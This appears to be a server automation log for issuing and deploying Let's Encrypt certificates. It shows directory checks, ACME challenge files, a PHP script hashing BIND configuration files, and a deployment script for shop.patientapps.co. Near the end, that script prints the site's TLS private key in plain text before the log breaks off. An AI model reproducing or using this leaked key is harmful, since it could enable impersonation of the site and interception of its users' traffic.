AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-09 06:00:02: Establishing a connection
2025-12-09 06:00:03: Establishing a connection
2025-12-09 06:00:04:
PUT: /tmp/pkp430759
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-09 06:00:05:
chmod 755 /tmp/pkp430759; /tmp/pkp430759; rm /tmp/pkp430759
2025-12-09 06:00:05:
0
2025-12-10 06:00:02: Establishing a connection
2025-12-10 06:00:03: Establishing a connection
2025-12-10 06:00:04:
PUT: /tmp/pkp877398
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-10 06:00:05:
chmod 755 /tmp/pkp877398; /tmp/pkp877398; rm /tmp/pkp877398
2025-12-10 06:00:05:
0
2025-12-10 22:44:16: Establishing a connection
2025-12-10 22:44:27: Establishing a connection
2025-12-10 22:44:27:
PUT: /tmp/pkp485051
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-10 22:44:27:
runuser -l bind -s /bin/bash -c '/tmp/pkp485051; rm /tmp/pkp485051'
2025-12-10 22:44:27:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-10 22:44:35: Establishing a connection
2025-12-10 22:44:35: Establishing a connection
2025-12-10 22:44:35:
PUT: /tmp/pkp560319
#!/bin/bash
if [ -d "/var/www/patientapps_shop/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-10 22:44:35:
chmod 755 /tmp/pkp560319; /tmp/pkp560319; rm /tmp/pkp560319
2025-12-10 22:44:35:
1
2025-12-10 22:44:37: Establishing a connection
2025-12-10 22:44:37:
PUT: /tmp/pkp615614
#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
cat > LE4Wd7ATyN2_SKwatftLu4YIm1Ezjfc5Mo1URvdBbp0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LE4Wd7ATyN2_SKwatftLu4YIm1Ezjfc5Mo1URvdBbp0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LE4Wd7ATyN2_SKwatftLu4YIm1Ezjfc5Mo1URvdBbp0
2025-12-10 22:44:37:
chmod 755 /tmp/pkp615614; /tmp/pkp615614; rm /tmp/pkp615614
2025-12-10 22:44:37:
2025-12-10 22:44:40: Establishing a connection
2025-12-10 22:44:40:
PUT: /tmp/pkp777100
#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
rm LE4Wd7ATyN2_SKwatftLu4YIm1Ezjfc5Mo1URvdBbp0
2025-12-10 22:44:40:
chmod 755 /tmp/pkp777100; /tmp/pkp777100; rm /tmp/pkp777100
2025-12-10 22:44:40:
2025-12-10 22:44:40: Establishing a connection
2025-12-10 22:44:40:
PUT: /tmp/pkp518188
#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99
cat > $temp_file <<'endmsg'
8f:9d:59:35:04:28:25:21:a2:af:6d:52:e9:65:0b:89
-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBS1m2MX8AmH6WI4a4yVcZmhbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEwMjE0NjA5WhcNMjYwMzEwMjE0NjA4WjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAuC4wrn1GYHFrMUqqNZJlAVAc3XwJ9njVwDrBovCSiBCY1MdoREkuZ4lG
iyEyUJs81eT4VBb+6WffQKVGoYyqeoQ8gJXuXNaW9Vt2XngNfTyulZ39EDT0BQiV
hw2hUMfA/6U2BjXnK0wQneRs31wiG1/0F75+Il8RW3Nt9XWe+diAIlWgOs+CKj/w
578TAN56m1h+XWSy6TRZ6CrqGuL+uwYij7HhEHVLxirdkkx+hIC5EXLYnpR75m0o
xap2mVeCHMBM6ZLpofxzbg1Owv6rrSGLm4mjkU/SuFAWtmdzGC/WZAC4ogxGlqli
j0tSTXl+vOiMP+BGLwksB3h+8n2xSwIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRehwzD4qYkiy6uLBqOEMCg4BG7DjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Nob3AucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy85Mi5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHx
AO8AdQBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZsKcCPOAAAE
AwBGMEQCIE/QlEbPq9l1gI6/3XUHdrAdgek0/fovyqK+rqHOpxR0AiAj9KDXbCuP
BDGKZjKT5IZkLnmpm4yo1ddJYuZkdfQg1AB2ANFuqaVoB35mNaA/N6XdvAOlPEES
FNSIGPXpMbMjy5UEAAABmwpwJOsAAAQDAEcwRQIgSrKEI+ly998qo4bgFg4KJpsc
5jG5XWmIcTQ9/dy9EjsCIQC58+QVDUnuW8F5cKc68lFs7r7Gl5ddNCc+ual6ElJu
YjANBgkqhkiG9w0BAQsFAAOCAQEAYgU66Wo96sWfu4+Q809xv66tflqJXmqL5Ezr
rKQZjRQnGsTUtDQJW7LBv7eLreNat+gb8txJu2w56P7w6dSSLN1okvyZP5c9mnUS
h1M4DSwhRC7svjJ5iziMAha4l3NdDaqp0EzuCzJMloB94vmzrw6ACqWC9+Typ0wo
Sc0SCFPrtAE6g4+xXhWelktptQiFAljDvTSEtTSUgMB0w1c6ZAxNKHExp5sv0HsP
j2SjhvGO/LHP2mkoA+jjCumrZDnvqCFi9NEslvuCxUqad7lVkjcldEKHRUebE4Ob
3G/v99njB8AS9yBtZ34iePd0iCY+vCMkqyxwLfJ7vNZMtrE4mg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC4LjCufUZgcWsx
Sqo1kmUBUBzdfAn2eNXAOsGi8JKIEJjUx2hESS5niUaLITJQmzzV5PhUFv7pZ99A
pUahjKp6hDyAle5c1pb1W3ZeeA19PK6Vnf0QNPQFCJWHDaFQx8D/pTYGNecrTBCd
5GzfXCIbX/QXvn4iXxFbc231dZ752IAiVaA6z4IqP/DnvxMA3nqbWH5dZLLpNFno
Kuoa4v67BiKPseEQdUvGKt2STH6EgLkRctielHvmbSjFqnaZV4IcwEzpkumh/HNu
DU7C/qutIYubiaORT9K4UBa2Z3MYL9ZkALiiDEaWqWKPS1JNeX686Iw/4EYvCSwH
eH7yfbFLAgMBAAECggEAMt9fRvMHW2A4kXbkKMP07jXooyy9u7yInf4cuhrk/nxH
Go6xuBrWnHaIa6mRsj4Owa3rAZ8Qbfvo6Hw+VCT8ebbI12OSYUZMkBzhRxq17x+x
wVXQLofR1woV8yXKpvtlzbcegvyki4sJE/OiNtfF+/W3AE/3mxrTOoVZm/EPJkc0
l5dkFWrW5psTKUCbzddJdJQysGjLLbqU/5q9ufHTlULjlk8NZ2/FwmKcgQYSO/NC
AOwOO5HddspQWnAU1pg/zli4TGkmRst2OxKhuZ97uCELqFRYBNisTd3sx52oSAb4
kePas28pqzCoBq6GDnHV20kS26DELMTVicL1L9wE0QKBgQDjegf7yuavnNiprmRc
HoU3UZSfw4OF6SjeduhgrBSzfAUXAuVQHSITNEFvStmxlqudwJVrNQtvh8Cjva8l
+vQgHnioIBbyIyHNR4UkByelYHkr4S8NlwR5RPpJTlDikmNmu7GkN96/KttbZ68C
MaFva2DvZGHIaTXQY/AYXeppzwKBgQDPRlr/PwV4RvKqd/NSIS5AqNyD8RZFX61Q
